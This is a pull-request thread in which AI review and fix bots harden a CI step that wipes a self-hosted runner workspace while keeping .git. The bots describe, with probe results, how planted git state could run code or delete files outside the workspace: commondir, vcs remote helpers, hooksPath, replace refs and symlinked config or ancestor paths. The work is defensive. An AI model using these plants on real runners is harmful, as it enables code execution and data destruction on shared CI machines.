Witnesses (committed with the fix): both byte-pin tails extended from 5 to 11 pinned lines; seven new exec witnesses plant each state against the REAL step (commondir, config.lock + hooksPath + hook, replace refs loose and packed, root link both arms, allowlist scrub shape, repo-less wipe); a new pin holds the two copies executable-line-identical. Mutation probes: removing any one of the new lines/guards (or restoring the old allowlist) turns its witness red; all restored to green. Pre-round gate check: this round's tests against the pre-round workflows fail 8 (both byte-pin tails + the six state witnesses) and go green with the round's files. The existing scripts/tests/serve-ab-workflow.test.js contract suite — including the exact || true count and ordering pins — passes unmodified, which is why the new defang lines carry no || true. .size-baseline bumped for both workflows in the same commit (the growth is the mandated defang + rationale; the ratchet gate is green).

Verification

  • Reproduction probes against the pre-round step (all 6 entrances) — all reproduced, outputs recorded
  • Mechanism probes (packed-ref deletion via update-ref -d; shallow-removal safety) — recorded, drove the fix shape
  • node --test over all 19 HELPER_TESTS files from ci.yml (incl. .github/scripts/ci-runner-routing.test.mjs) — 440 passed, 0 failed
  • npx vitest run scripts/tests/serve-ab-workflow.test.js scripts/tests/workflow-size.test.js — 218 passed, 0 failed
  • bash .github/scripts/check-workflow-size.sh — green after the same-commit baseline bump (red before, as expected)
  • Mutation probes (6): remove commondir line / config.lock line / replace strip / root heal / restore old allowlist / remove kept-.git guard — every mutation red, restored green
  • Pre-round gate check: round tests vs HEAD workflows — 8 failed; restored round files — 47/47 green in the routing suite
  • npm run build — passed
  • npm run typecheck — passed
  • npm run lint — passed
  • npx prettier --check .github/scripts/ci-runner-routing.test.mjs — passed
  • actionlint — not available on this runner (embedded-shell source mapping in these steps is not lintable by actionlint regardless)
中文说明

第 6 轮 — 已处理关于保留 .git 的 wipe 拆防的 Critical 发现

反馈点

  • [rc:3874630223] [Critical] R5-1:第 5 轮在 Wipe stale workspace except the shared .git before checkout 步骤中加入的保留 .git 拆防,并未闭合它声称要闭合的被植入状态类——六个经探针验证的入口:(1) 从不删除 .git/commondir/.git/shallow;(2) 配置擦洗的 allowlist 保留整个 remote\. 家族(remote.origin.vcs → 下一次 fetch 会执行 git-remote-<vcs>);(3) allowlist 保留 core.worktree(把下一次 checkout 的写入/清理重定向到工作区之外);(4) 植入的 .git/config.lock 把整个擦洗卡死成被吞掉的失败;(5) 从不校验原始 $RUNNER_WORKSPACE 根(植入的根符号链接使所有包含性检查变成同义反复);(6) refs/replace 被整体保留(在下一次作业的 checkout 中无声替换文件内容)。

无需处理与 base 分支的冲突(--conflict false)。

决定:在代码中解决——先在本机复现全部六个入口,然后在两份逐字节相同的副本(web-shell-visuals.ymlserve-ab.yml,同一提交,按要求)中结构性闭合

复现(对未改动的步骤原文执行探针,git 2.39.5):所有臂均复现——commondir 钩子在下一次 checkout 时触发;vcs 远程助手被执行;core.worktree 存活;core.hooksPath 在被卡死的擦洗中存活且其钩子触发;根符号链接同时产生了无声的工作区外清除(退出码 0,受害文件被删)与永久楔子(退出码 1,根仍是符号链接);松散与打包的 replace ref 均实体化出恶意 package.json

按入口给出的修复:

  1. commondir — 在任何 git 调用之前 rm -f "$WS/.git/commondir":植入会把钩子/配置/refs 重指向工作区外的攻击者 gitdir,使其后所有拆防作用在错误的仓库上(并让 --git-path/配置擦洗写到工作区外)。探针翻转:修复后钩子不再触发。
  2. remote allowlistremote\. 收窄为 remote\..+\.(url|fetch|pushurl),与车队加固消毒器家族一致。探针翻转:助手不再被执行;下一次 checkout 仍需复用的键(url/fetch/pushurl)由新的见证测试钉扎为保留。
  3. core.worktree — 从保留列表中移除。探针翻转:重定向被擦洗。
  4. config.lock — 在任何配置写入之前 rm -f "$WS/.git/config.lock"。探针翻转:即使植入了锁,core.hooksPath 也被擦洗,钩子不触发。
  5. 根符号链接 — 现在在任何规范化之前,像对待 $WS 一样判断原始 $RUNNER_WORKSPACE:符号链接或非目录会被修复(对字面条目 unlink + 重建,两条腿都失败即关闭,日志做消毒),并以原始路径判断作守卫('..' 穿越、已知根、相对路径)——根是包含链的顶端,因此直接判断原始路径而不是对照某个外层锚点,理由已记录在步骤注释中。两个臂的探针均翻转:工作区外的受害文件存活,楔子解除,退出码 0。
  6. refs/replace — 在保留 .git 的守卫内用 for-each-ref + update-ref -d 剥离(对无法枚举 refs 的仓库失败即关闭;修复为空的目录无仓库可剥离、不得因此失败),随后删除整个命名空间目录。松散打包植入选均经探针验证(本 git 版本下 update-ref -d 原生删除打包条目;也探针过 pack-refs 附加项,但作为套件无法钉扎的无见证守卫被移除)。探针翻转:实体化为干净内容,零 replace ref 存活。

一条带证据拒绝的子点 — .git/shallow 第 1 条把 commondir 与 shallow 并列,引用车队的 resanitize-git-config.sh——该脚本两者都删,理由是"这两个文件都不会合法地存在于那里"。这一前提在那个流程中成立(其受保护 checkout 使用 fetch-depth: 0),但在本流程中不成立:这里两个工作流都用 fetch-depth: 1 checkout,因此共享保留仓库的 .git/shallow 合法地记录着 shallow 边界。探针:删除它会在下一次 depth-1 复用 fetch 中留下 error: Could not read <sha>——恰恰破坏了保留 .git 所要维护的复用。植入的 .git/shallow 只能收窄对象图(响亮的 fetch 失败),永远无法执行代码或替换内容。因此修复删除 commondir、有意保留 shallow,并把该理由写进步骤注释中下一位审阅者会看到的位置。

见证(与修复一同提交):两处字节钉扎尾部从 5 行扩展到 11 行;七个新的执行夹具分别植入各状态并对真实步骤执行(commondir;config.lock + hooksPath + 钩子;松散与打包的 replace ref;根符号链接两个臂;allowlist 擦洗形状;无仓库的 wipe);新增一条钉扎保持两份副本可执行行一致。变异探针:删除任一新增行/守卫(或恢复旧 allowlist)都会使其见证变红;全部恢复后变绿。轮前门禁检查:本轮测试对轮前工作流运行时失败 8 条(两处字节钉扎尾部 + 六个状态见证),恢复本轮文件后全绿。既有的 scripts/tests/serve-ab-workflow.test.js 契约套件——包括精确的 || true 计数与顺序钉扎——未修改即通过;正因如此,新增拆防行不携带任何 || true。同一提交中上调了两个工作流的 .size-baseline(增长来自受命的拆防与理由说明;棘轮门禁为绿)。

验证

  • 对轮前步骤的复现探针(全部 6 个入口)——全部复现,输出已记录
  • 机制探针(update-ref -d 删除打包 ref;删除 shallow 的安全性)——已记录,决定了修复形态
  • 对 ci.yml 全部 19 个 HELPER_TESTS 文件运行 node --test(含 .github/scripts/ci-runner-routing.test.mjs)——440 通过,0 失败
  • npx vitest run scripts/tests/serve-ab-workflow.test.js scripts/tests/workflow-size.test.js — 218 通过,0 失败
  • bash .github/scripts/check-workflow-size.sh — 在同一提交上调基线后为绿(此前为红,符合预期)
  • 变异探针(6 条):删除 commondir 行 / config.lock 行 / replace 剥离 / 根修复 / 恢复旧 allowlist / 删除保留 .git 守卫——每条变异均变红,恢复后变绿
  • 轮前门禁检查:本轮测试对 HEAD 工作流——8 条失败;恢复本轮文件——路由套件 47/47 全绿
  • npm run build — 通过
  • npm run typecheck — 通过
  • npm run lint — 通过
  • npx prettier --check .github/scripts/ci-runner-routing.test.mjs — 通过
  • actionlint — 本运行器不可用(这些步骤中的内嵌 shell 本就无法被 actionlint 检查源码映射)

Deferred non-Critical feedback

Critical-only mode is active: 5 change-producing rounds are complete. The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. (@qwen-code /retry starts a fresh counting window.)

中文说明

已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次。本轮可执行区域已排除下方非 Critical 反馈;这些条目保持开放,留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后;达到预算的作者(如有)在下方点名。(评论 @qwen-code /retry 可开启新的计数窗口。)

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审;第 100 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot

qwen-code-ci-bot commented Aug 28, 2026

Copy link
Copy Markdown
Collaborator

🩺 serve daemon A/B

Built the PR base vs this PR head 7782fd0, drove a fixed endpoint set against each, and diffed the JSON responses. Only fields that changed are shown.

No response changes against the PR base across 12 scenario(s).

Qwen Code · serve A/B

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Qwen Code review did not complete successfully. The review pipeline failed before a review could be posted. A transient error is retried automatically; if you are seeing this, retry with @qwen-code /review. See workflow logs.

qwen-code-ci-bot pushed a commit that referenced this pull request Aug 28, 2026
@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

🤖 Reviewed the latest feedback — no changes needed. Why, point by point: · 已审阅最新反馈——无需改动。逐点说明原因如下:

Round result: no action

Critical-only round (5 change-producing rounds complete; counting window at src 273 / test 795 net lines vs 400/400 budgets). The growth audit ran first and recorded growth-audit.json with verdict sound (KISS pass — every accumulated guard traces to an accepted round 4–6 finding or a documented pool failure mode, and the over-budget test lines are the reviewer-mandated per-guard exec witnesses; minimal-change pass — every changed file/hunk traces to the PR's purpose, an accepted finding, or the mechanical size-baseline update; no untraceable hunks to delete).

What was actionable this round

  • Reviews: none newer than the last evaluation.
  • Inline comments: none newer than the last evaluation.
  • Issue-level comments: none newer than the last evaluation.
  • Deferred non-Critical feedback: two @qwen-code-ci-bot PR comments (serve A/B result — no response changes across 12 scenarios; review fallback notice). Audit record only; excluded from this round by the Critical-only filter.
  • Failed checks: review-pr (FAILURE).

The review-pr failure is the review pipeline crashing, not a finding

Evidence from the check data and PR comments:

  • The check ran for 18 seconds (2026-08-28T04:18:50Z → 04:19:08Z) — it failed before any review could be produced.
  • Its workflow's fallback-comment step then posted (issue comment 5448365734): "Qwen Code review did not complete successfully. The review pipeline failed before a review could be posted. A transient error is retried automatically; if you are seeing this, retry with @qwen-code /review."
  • The check produced zero findings about this PR's code. All substantive checks are green: Capture web-shell visuals, Serve A/B, Test (ubuntu-latest), Desktop Shell (both platforms), web-shell E2E Smoke, secret scan, dependency CVE audit.

There is nothing in this PR's diff to change in response: the failure is internal to the 🧐 Qwen Pull Request Review workflow, which is separate CI machinery this PR is not about (and touching it is outside this round's scope). The documented remedy — retrying the review with @qwen-code /review — is a GitHub action by the workflow or a maintainer, not a code change.

Outcome

No code changes, no commit. The branch stays at 61039095eb. If the review pipeline keeps failing on retry, the pipeline logs (workflow run 33141162937) are the place to look — not this PR.

中文说明

本轮结果:无操作

仅处理 Critical 的轮次(已完成 5 个产生改动的轮次;计数窗口净增长为 源码 273 / 测试 795 行,预算 400/400)。增长审计先行执行,并在 growth-audit.json 中记录结论 sound(KISS 通过 —— 每个累积的防护措施都可追溯到第 4–6 轮被采纳的评审发现或已记录在案的池(pool)故障模式,超出预算的测试行数是评审方要求的"每个守卫配一个执行级见证测试";最小改动 通过 —— 每个改动的文件/代码块都可追溯到本 PR 的目的、被采纳的发现,或机械式的 size 基线更新;不存在无法追溯的代码块可供删除)。

本轮可处理的内容

  • 评审(Reviews): 自上次评估之后没有新的。
  • 行内评论(Inline comments): 自上次评估之后没有新的。
  • Issue 级评论: 自上次评估之后没有新的。
  • 延后的非 Critical 反馈: 两条 @qwen-code-ci-bot 的 PR 评论(serve A/B 结果 —— 12 个场景下响应无变化;评审失败回退通知)。仅为审计记录,已被 Critical-only 过滤规则排除在本轮之外。
  • 失败的检查: review-pr(FAILURE)。

review-pr 失败是评审流水线自身崩溃,而非针对代码的发现

来自检查数据与 PR 评论的证据:

  • 该检查仅运行了 18 秒(2026-08-28T04:18:50Z → 04:19:08Z)—— 在生成任何评审之前就已失败。
  • 其流水线的 fallback-comment 步骤随后发布(issue 评论 5448365734):"Qwen Code 评审未能成功完成。评审流水线在评审发布之前就已失败。瞬时错误会自动重试;如果你持续看到此提示,请使用 @qwen-code /review 重试。"
  • 该检查没有产生任何针对本 PR 代码的发现。所有实质性检查均为绿色:Capture web-shell visuals、Serve A/B、Test (ubuntu-latest)、Desktop Shell(两个平台)、web-shell E2E Smoke、密钥扫描、依赖 CVE 审计。

本 PR 的 diff 中没有任何内容需要因此修改:该失败发生在 🧐 Qwen Pull Request Review 工作流内部,而它是本 PR 并不涉及的另一套 CI 机制(改动它超出本轮范围)。文档中给出的补救方式 —— 使用 @qwen-code /review 重试评审 —— 是流水线或维护者在 GitHub 上的操作,不是代码改动。

结果

不做代码改动,不提交。分支保持在 61039095eb。如果重试后评审流水线仍然失败,应查看流水线日志(工作流运行 33141162937),而不是改动本 PR。

Deferred non-Critical feedback

Critical-only mode is active: 5 change-producing rounds are complete and the PR's diff grew src 273 / test 795 net lines beyond this counting window's baseline (budgets: 400/400). The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. (@qwen-code /retry starts a fresh counting window.)

中文说明

已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次,且本计数窗口内 diff 净增长已达 源码 273 / 测试 795 行(预算 400/400)。本轮可执行区域已排除下方非 Critical 反馈;这些条目保持开放,留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后;达到预算的作者(如有)在下方点名。(评论 @qwen-code /retry 可开启新的计数窗口。)

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

🔀 Base updated: red check(s) [review-pr] pass on current main — merged current main via update-branch; CI will re-run.

中文说明

🔀 已更新 base:红色检查 [review-pr] 在当前 main 上通过 —— 已通过 update-branch 合入当前 main,CI 将重新运行。

qwen-code-ci-bot pushed a commit that referenced this pull request Aug 28, 2026

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed.

⚠️ Round 7, and the diff has grown 3.0x since this review first measured it (184 → 558 source diff lines). The findings below are anchored to the current patch, so they can only say where this approach leaks — never that a different approach would retire all of them at once. Before fixing them, a human should decide whether the shape of the change is still right. Advisory only: this does not affect the verdict, and nothing here is a blocker.

1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:

  • RUNNER_ENVIRONMENT missing from the env-override pin list — already reported (round-5 deferred list, review 5041047375)

Not reviewed: reverse audit — stopped at the round cap of 5 without converging (rounds 3-5 each reported new findings; the round-5 finding was rejected after verification).

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Deferred under the convergence posture (round 7, not a blocker) — recorded, not requested in this round:

  • .github/scripts/ci-runner-routing.test.mjs:1345 — [probe] ambient-credential scan enumerates shapes/surfaces one by one; close the class by scanning every expression reference against the single permitted reference
  • .github/workflows/serve-ab.yml:153 — [probe] degenerate-root refusal dropped after the post-realpath strip — RWS can empty and containment becomes the match-all /*
  • .github/workflows/serve-ab.yml:131 — [probe] root-heal denylist omits the usrmerge symlink roots /bin /sbin /lib*
  • .github/workflows/web-shell-visuals.yml:286 — [probe] stale git lock files from a SIGKILLed run survive the wipe and wedge every later checkout on that machine
  • .github/scripts/ci-runner-routing.test.mjs:1217 — [probe] root-heal annotation-forging defence has no behavioural witness for the root arm

Convergence: round 7 posted 1 inline comment(s), 1 of them reported for the first time; the previous round posted 1 (1 new). Findings keep coming back to the same files: .github/workflows/web-shell-visuals.yml (findings in round 5; 1 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push keeps the loop from re-deriving the same set; this PR's reviews already resolve to a critical posting floor. (Observation only — nothing was withheld from this review because of this observation.)

Residual risk: this loop is persistently critical — Criticals stood in the previous round's work-list and stand again this round (1 Critical(s)), the rate of first-time findings is not falling (this round 1, previous 1), and the standing Critical backlog is not shrinking. The severity floor will not converge it. Recommendation: land-with-residual-risk — the exit is a maintainer risk-acceptance decision (merge, carrying the residual risk), not another review round. Residual-risk inventory for that decision (maintainer to complete):

standing Critical attack surface attacker-dependency blast radius
(each standing Critical)

Advisory only — it does not block this review.

中文说明

仅完成部分审查,审查缺口已披露。

⚠️ 第 7 轮,且自本审查首次测量以来 diff 已增长 3.0 倍(源码 diff 行数 184 → 558)。下方的发现都锚定在当前这版补丁上,因此它们只能指出这个方案在哪里漏了,而无法说明换一个方案就能一次性消除全部问题。在动手修复之前,应由人来判断这次改动的整体形态是否仍然正确。仅供参考:本段不影响判定结论,其中也没有任何阻断项。

本轮确认的 1 条建议级发现已在 PR 上报告过,不再重复发布(列表见上方英文部分)。

未审查:reverse audit — stopped at the round cap of 5 without converging (rounds 3-5 each reported new findings; the round-5 finding was rejected after verification)。

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

收敛姿态下延后(第 7 轮,非阻断)——已记录,本轮不要求修改:共 5 条(原文未翻译,列表见上方英文部分)。

收敛情况:第 7 轮发布了 1 条行内评论,其中 1 条是首次提出;上一轮发布了 1 条(其中 1 条首次提出)。发现反复回到同一批文件:.github/workflows/web-shell-visuals.yml(第 5 轮已出过发现,本轮又有 1 条)。新发现的产出速度没有下降。一个不断再生兄弟发现的簇,通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因,或把独立的簇拆成单独的 PR,通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送,可以避免循环反复推导同一组发现;本 PR 的评审已解析为 critical 发布下限。(仅为观察——本轮评审未因此扣留任何内容。)

残余风险:本循环处于 persistently-critical 形态——上一轮工作清单中的 Critical 本轮依然存在(本轮 1 条 Critical),首次发现的速率没有下降(本轮 1,上一轮 1),且未决 Critical 积压没有减少。severity floor 无法使其收敛。建议:land-with-residual-risk——出口是 maintainer 的风险接受决定(合入并承担残余风险),而非再开一轮评审。供该决定使用的残余风险清单(maintainer 填写):按每条未决 Critical 列出「攻击面 · 攻击者依赖性 · 影响范围」三栏。仅为建议——不阻断本次评审。

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment thread .github/workflows/web-shell-visuals.yml Outdated
git --git-dir="$WS/.git" config --local --unset-all extensions.worktreeConfig 2>/dev/null || true
{ git --git-dir="$WS/.git" config --local --name-only --list 2>/dev/null || true; } | { grep -ivE '^(core\.(repositoryformatversion|bare|filemode|symlinks|ignorecase|precomposeunicode|logallrefupdates|hidedotfiles|protecthfs|protectntfs)|remote\..+\.(url|fetch|pushurl)|branch\.|extensions\.|gc\.|pack\.|fetch\.|index\.|safe\.|submodule\.[^.]+\.(url|active|branch))' || true; } | while IFS= read -r key; do git --git-dir="$WS/.git" config --local --unset-all "$key" 2>/dev/null || true; done
if [ -d "$WS/.git" ]; then
{ git --git-dir="$WS/.git" for-each-ref --format='%(refname)' refs/replace; } | while IFS= read -r ref; do git --git-dir="$WS/.git" update-ref -d "$ref"; done

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R5-1: (fix-induced) the round-6 fix closed all six named entrances of the kept-.git defang — re-verified by execution this round — but the bare refs/replace strip it added opened a new planted-state entrance at the same site, and the planted-state class additionally remains open via an ancestor-symlink entrance.

Any pool job can run attacker code by this workflow's own routing design. Such a job can leave $WS/.git/config as a symlink to an existing non-config file under RUNNER_TEMP (which the workflow itself notes outlives a run on the pool): every guarded defang passes (the guarded sweep no-ops because git config --list dies on the unparseable target), then the new UNGUARDED bare for-each-ref strip dies with fatal: bad config line 1 (exit 128 under the step's bash -eo pipefail), nothing in any later step removes or replaces .git/config, and every subsequent serve-ab / web-shell-visuals job on that runner fails at the wipe permanently, until manual cleanup. With a parseable out-of-workspace target the sweep's --unset-alls instead rewrite the outside file through the link, so local-config writes escape the containment this step exists to bound. At the previously reviewed head this plant self-healed: actions/checkout v6.0.3's tryGetFetchUrl reads the broken config, gets an empty URL, and removes-and-recreates the directory — so the diff converts a self-healing state into a recurring job-kill (the step comment's "the next checkout would fail on it anyway" does not hold for this state: checkout does not fail, it recreates).

Second entrance, same class: a symlink planted at an ANCESTOR of $RUNNER_WORKSPACE (e.g. the runner's _work directory) re-roots realpath and every containment check — the root heal never fires (the root's last component is a real directory), the "$RWS"/* allowlist matches tautologically, and the wipe silently deletes files outside the real workspace with exit 0 and no annotation.

Witness (probes against the real step text extracted from the committed YAML; git 2.43):

BASE (52f64f21 step): wipe exit=0, plant survives, checkout removes-and-recreates (self-heal)
PR (e774aabb55):      JOB 1 exit 128 — fatal: bad config line 1 in file …/.git/config — plant SYMLINK SURVIVES
                      JOB 2 exit 128 — plant survives (permanent wedge)
PR arm(b):            wipe exit=0, outside config target rewritten (hooksPath+user.name removed), $WS/.git/config still a symlink
ancestor arm:         _work symlinked — heal never fires, wipe exit 0, no annotation, victim file outside the real workspace DELETED
FLIP (symlinked-config guard + non-canonical-RWS refusal): both arms exit 0, plants removed, outside target unchanged, victim survives

Close the class structurally instead of entrance by entrance, in BOTH byte-identical copies (web-shell-visuals.yml and serve-ab.yml). Next to the config.lock removal, delete a symlinked .git/config before any git call (a git-created config is a plain file, so a link there is state a previous job chose):

if [ -L "$WS/.git/config" ]; then
  echo "::warning::removing planted symlink at ${WS}/.git/config"
  rm -f -- "$WS/.git/config"
fi

(not a [ -L … ] && { …; } one-liner — under the step's -e a false test fails the step), and fail closed when $RUNNER_WORKSPACE is not canonical before the heal canonicalizes it (refuse with an ::error:: annotation when any ancestor component of $RWS is a symlink) — which closes the ancestor arm and any sibling that re-roots realpath. Extend the byte-pin tails in the same edit and keep the two copies executable-line-identical.

Fix witness: add exec fixtures beside the existing wipe witnesses in .github/scripts/ci-runner-routing.test.mjs — one plants a symlinked .git/config (unparseable and parseable out-of-workspace targets), one plants an ancestor symlink above RUNNER_WORKSPACE, both asserting the wipe exits 0, the plants are gone, and the next checkout is clean; removing either new guard must turn the corresponding fixture red (mutate, run, confirm).

中文说明

[Critical] R5-1:(修复引入)第 6 轮修复闭合了保留 .git 拆防的全部六个命名入口——本轮已重新执行验证——但它新增的裸 refs/replace 剥离在同一位置打开了一个新的被植入状态入口;此外该类仍通过祖先符号链接入口保持开放。

任何池上作业都可能运行攻击者代码(这正是本工作流自身的路由设计)。这样的作业可以把 $WS/.git/config 留成一个指向 RUNNER_TEMP 下某个现存非配置文件(工作流自己注明该目录在池上跨运行存留)的符号链接:所有带守卫的拆防都会通过(守卫扫描因 git config --list 死于不可解析目标而空转),随后新增的无守卫裸 for-each-ref 剥离以 fatal: bad config line 1 死去(在步骤的 bash -eo pipefail 下退出码 128),后续任何步骤都不会删除或替换 .git/config,该 runner 上所有后续 serve-ab / web-shell-visuals 作业都会永久死在清理步骤,直到人工清理。若链接指向工作区之外一个可解析的配置,擦洗的 --unset-all 会透过链接改写外部文件,本地配置写入由此逃出本步骤赖以存在的包含边界。在受审前的 head 上,该植入会自愈:actions/checkout v6.0.3 的 tryGetFetchUrl 读到损坏配置得到空 URL,会删除目录并重新克隆——因此本 diff 把一个自愈状态变成了复发的作业杀死(步骤注释中"下一个 checkout 反正会失败"对该状态不成立:checkout 不会失败,它会重建)。

同类的第二个入口:植入在 $RUNNER_WORKSPACE 任一祖先(例如 runner 的 _work 目录)上的符号链接会重新定根 realpath 与所有包含性检查——根修复不会触发(根的末段是真实目录),"$RWS"/* allowlist 变成同义反复,清理会以退出码 0 无声删除真实工作区之外的文件,且无任何注解。

见证(对提交 YAML 中提取的真实步骤原文执行探针;git 2.43):BASE(52f64f21 步骤)退出 0、植入存活、checkout 删除并重建(自愈);PR(e774aabb55)连续两个模拟作业均以 128 死于 fatal: bad config line 1、植入存活(永久楔子);可解析外部目标臂:清理退出 0、外部配置文件被改写、符号链接存活;祖先臂:_work 符号链接化后根修复不触发、清理退出 0、无注解、工作区外受害文件被删;翻转(新增符号链接配置守卫 + 拒绝非规范化 RWS):两臂均退出 0、植入被清除、外部目标不变、受害文件存活。

修复方向:在两处逐字节相同的副本(web-shell-visuals.ymlserve-ab.yml)中结构性闭合该类,而非逐入口修补:在 config.lock 删除行旁、任何 git 调用之前删除符号链接化的 .git/config(git 创建的 config 是普通文件,链接必为前序作业所植入);并在根修复规范化之前,对非规范化的 $RUNNER_WORKSPACE 失败即关闭($RWS 任一祖先分量为符号链接时以 ::error:: 注解拒绝)——闭合祖先臂及一切重新定根 realpath 的兄弟入口。同一编辑中扩展字节钉扎尾部,并保持两份副本可执行行一致。

修复见证:在 .github/scripts/ci-runner-routing.test.mjs 现有 wipe 见证旁新增执行夹具——一个植入符号链接化的 .git/config(不可解析目标与可解析的工作区外目标两种形态),一个植入 RUNNER_WORKSPACE 上方的祖先符号链接,均断言清理退出码 0、植入被清除、下一次 checkout 干净;删除任一新守卫必须使对应夹具变红(变异、运行、确认)。

— qwen3.8-max via Qwen Code /review (v0.22.2)

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

🤖 Addressed the latest review feedback (round 1/100). What changed, and what I pushed back on: · 已处理最新评审反馈(第 1/100 轮)。改动内容与我反驳保留之处如下:

🤖 Addressed the latest review feedback (round 8/100). What changed, and what I pushed back on: · 已处理最新评审反馈(第 8/100 轮)。改动内容与我反驳保留之处如下:

Round 7 — Critical finding on the kept-.git wipe defang addressed

Feedback point

  • [rc:3879820670] [Critical] R5-1: (fix-induced) the round-6 fix closed the six named entrances of the kept-.git defang, but the bare refs/replace strip opened a new planted-state entrance at the same site, and the class stays open via an ancestor-symlink entrance:
    1. .git/config left as a symlink to an unparseable target: every guarded defang no-ops (git config --list dies on the target), then the unguarded bare for-each-ref strip dies fatal: bad config line 1 (exit 128 under -eo pipefail), and nothing later removes the plant — every subsequent serve-ab / web-shell-visuals job on that runner fails at the wipe permanently.
    2. .git/config symlinked to a parseable target outside the workspace: the scrub's --unset-all writes rewrite the outside file through the link, escaping the containment the step exists to bound.
    3. A symlink planted at an ancestor of $RUNNER_WORKSPACE (e.g. _work) re-roots realpath and every containment check — the root heal never fires, the allowlist matches tautologically, and the wipe silently deletes files outside the real workspace with exit 0 and no annotation.

No base-conflict handling was required (--conflict false).

Decision: resolved in code — reproduced on this runner first, then closed structurally in both byte-identical copies

Reproduction (exec probes against the UNMODIFIED step text, git on this runner): all three arms reproduced exactly as the finding describes —

arm-config-unparseable: exit=128, symlink survives — fatal: bad config line 1 (permanent wedge)
arm-config-outside:     exit=0,  symlink survives, outside target rewritten through the link ("" after the sweep)
arm-ancestor:           exit=0,  victim file outside the real workspace deleted, no annotation

The fix, in both web-shell-visuals.yml and serve-ab.yml (identical hunks, same commit, per the finding):

  1. Symlinked .git/config — next to the config.lock removal, before the first git call: if .git/config is a symlink, annotate and rm -f the link itself (never the target). Git creates a plain file there, so a link is state a previous job chose. Kept an if-block, not a [ -L ] && { …; } one-liner — under the step's -e a false test in the one-line form fails the step, as the finding notes.
  2. Ancestor symlink — after the root heal (which judges $RWS itself) and before realpath canonicalization: walk every ancestor component of $RUNNER_WORKSPACE; if any is a symlink, refuse with ::error:: and exit 1. Fail closed, never heal: unlinking an ancestor the daemon relies on (e.g. _work) would strand every repo workspace under it. The refusal is loud (annotation + red job) instead of a silent outside-workspace wipe.

Witnesses (all mutation-probed on this runner, per the gate's witness rule):

  • Two new exec fixtures in ci-runner-routing.test.mjs, beside the existing wipe witnesses: removes a symlinked .git/config before the defang dies on its target (unparseable + parseable arms: wipe exits 0, link gone, outside target untouched, next checkout completes) and refuses a wipe whose runner workspace sits under a planted ancestor symlink (refusal fires, nothing outside the real workspace is wiped).
  • The byte-pin tails in both wipe tests extended slice(-11)slice(-15) to pin the four new guard lines, plus a text pin for the ancestor refusal in both tests; the two workflow copies stay executable-line-identical (pinned by the existing port test).
  • Mutation probes executed: delete the config guard → 3 tests red (fixture + both tail pins); delete the ancestor loop → 3 tests red (fixture + both match pins); delete only the rm -f line → 3 tests red; restore → 49/49 green.

Flip verification (same probe against the FIXED step):

arm-config-unparseable: exit=0, symlink removed, target unchanged
arm-config-outside:     exit=0, symlink removed, outside target unchanged
arm-ancestor:           exit=1 with ::error:: annotation, victim survives

Also closed: the twice-deferred RUNNER_ENVIRONMENT env-pin gap

The round-7 review body again listed "RUNNER_ENVIRONMENT missing from the env-override pin list" (round-5 deferred probe) as already-reported. The install lane split keys on exactly this variable — an override to github-hosted sends a pool member into --with-deps and back into the password-sudo death of run 33022864520. Added RUNNER_ENVIRONMENT to the existing env-override pin loop (one line); mutation probe: setting it on the install step turns the wired test red.

Other feedback points — all previously addressed, re-verified at current HEAD

Every remaining inline thread was resolved in code by earlier rounds; each was re-verified against the current tree (not assumed from history) and is listed in resolved-comments.txt:

Finding Resolved by
[rc:3861481712] stale capture dirs on the pool 'Clear stale capture dirs' step exists, unconditional, ordered before every capture
[rc:3861481731] missing-library newline loss missing="${missing}${unresolved}"$'\n' accumulation
[rc:3861481744] parse inside describe callback visualsDoc/visualsCaptureJob parsed at module top level
[rc:3861481754] keyword pins instead of wiring superseded by the exec-based gate suite
[rc:3866537969] text pins instead of behavior runInstallStep executes the real step with stubbed tools and asserts exit codes
[rc:3866537980] size baseline under-recorded baseline entries exact again (40235/25994 after this round's growth)
[rc:3866538003] scan loop pasted twice scan_chromium_libs() shell function, two call sites
[rc:3867844061] apt-get lane probe on Ubuntu pool members lane gated on RUNNER_ENVIRONMENT, Debian provisioning arm, exec witness
[rc:3867844068] zero-binary vacuous gate scanned counter, exit 1 + ::error:: when zero
